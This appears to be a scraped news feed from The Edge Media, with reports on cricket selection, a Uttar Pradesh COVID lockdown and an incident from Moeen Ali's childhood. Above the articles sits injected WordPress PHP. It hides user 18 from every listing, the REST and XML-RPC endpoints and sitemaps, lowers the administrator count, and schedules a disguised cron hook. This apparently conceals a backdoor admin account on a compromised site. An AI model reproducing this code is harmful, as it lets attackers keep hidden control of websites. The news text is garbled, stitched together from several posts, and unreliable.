add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post England’s IPL players unlikely to find place in Test squad against NZ: Reports appeared first on The Edge Media.
]]>This will mean that the likes of Jos Buttler, Jonny Bairstow, Chris Woakes, Sam Curran and Moeen Ali, who are serving a mandatory 10-day quarantine after returning from the currently-suspended IPL, are likely to miss the two Tests against NZ, starting on June 2.
Their isolation period expires at the weekend, leaving little more than two weeks before the first Test at Lord’s.
“The timeline is considered too tight for the (IPL) returning players, meaning calls up are expected for the likes of Ollie Robinson, Craig Overton and James Bracey,” according to a report in ‘BBC Sport’.While fitness levels could be managed, the lack of red-ball practice could be a concern — particularly with other options having spent several weeks competing in the County Championship,” said another report in ‘The Independent’.
Head coach Chris Silverwood will on Tuesday convene his first selection meeting since taking full control of the process from Ed Smith.
The post England’s IPL players unlikely to find place in Test squad against NZ: Reports appeared first on The Edge Media.
]]>The post Lockdown in U.P form Friday to tuesday appeared first on The Edge Media.
]]>Now the state will remain in captivity from eight in the evening to seven in the morning on Tuesday. Explain that according to the order issued earlier, the Saturday and Sunday lockdown will remain in force.
In fact, on Tuesday, the Allahabad High Court, while hearing the situation of Corona in the state, said that the lockdown of two days was inadequate and said that the government has imposed a lockdown of two days to break the chain of infection as well as other restrictions as per its discretion.
Have also been implemented, but in view of new cases of infection, it looks futile. These measures seem inadequate. This comment of the High Court is also being considered as a reason behind extending the lockdown till Tuesday morning.
In the hearing, the High Court had told the government in strong words that those who are in power should give up their attitude like ‘obey my law, otherwise there is no Qaida’.
In the case, the High Court had directed the government to submit an action plan in 12 points to prevent infection in the hearing to be held on May 3.
Earlier, the state government had announced to impose a 35-hour lockdown on April 16, which was applicable from 8 am on Saturday night till 7 am on Monday morning.
However, the amendment was again decided to lockdown from eight o’clock on Friday night to seven o’clock on Monday.
Along with this, the State Government has given strict action against those who do not wear masks. Those exiting without a mask will be fined one thousand rupees for the first time.
For the second time, you will have to pay 10 times more fine. The State Government directed to strictly follow the Corona Protocol.
In a meeting with officers on Thursday, Chief Minister Yogi said that Uttar Pradesh is fighting with full commitment in the fight against covid. Learning from the experiences of the first wave of covid, health resources have been improved with priority.
This work is going on continuously. We have to be ready for every situation. Today there are more than 116000 L-1 beds, L-Two and L-3 have more than 65000 beds.
Two CHCs are being developed as covid Dedicated Hospitals in all the districts. Resources are being increased in government hospitals, private hospitals and medical colleges should also be added to it.
He directed the action of doubling the covid Bed to double the present capacity, examining all the options. He said that there should be availability of necessary medical resources like oxygen on all beds.
He said that the supply of oxygen is getting better every day. Along with connecting all the resources available in Uttar Pradesh to the supply chain, special means like oxygen express, air route are also being used.
There is continuous supply of oxygen from Roorkee, Dehradun, Jamshedpur, Bokaro etc. areas. Like yesterday, more than 650 metric tons of oxygen has to be supplied today. The need of all small and big hospitals in all districts should be monitored. They should be supplied.
The post Lockdown in U.P form Friday to tuesday appeared first on The Edge Media.
]]>The post Deadly attack on the England Star cricketer Moeen Ali appeared first on The Edge Media.
]]>
Moeen’s father Munir Ali has revealed that Moeen Ali was deliberately tried to crush a car in his childhood. He told ESPN Cricinfo, ‘He was about 13 years old at the time and was coming home from school. Then a car came quickly towards Moeen and missed it and slipped. The driver was probably an Asian man. Moeen told us that he had never seen the man before nor seen him after. He opened the window and, while abusing, brought the car in reverse and hit Moeen hard with the car. Moeen collapsed and the car crashed into the side of the pavement. The collision was so fast the car overturned. ‘
The post Deadly attack on the England Star cricketer Moeen Ali appeared first on The Edge Media.
]]>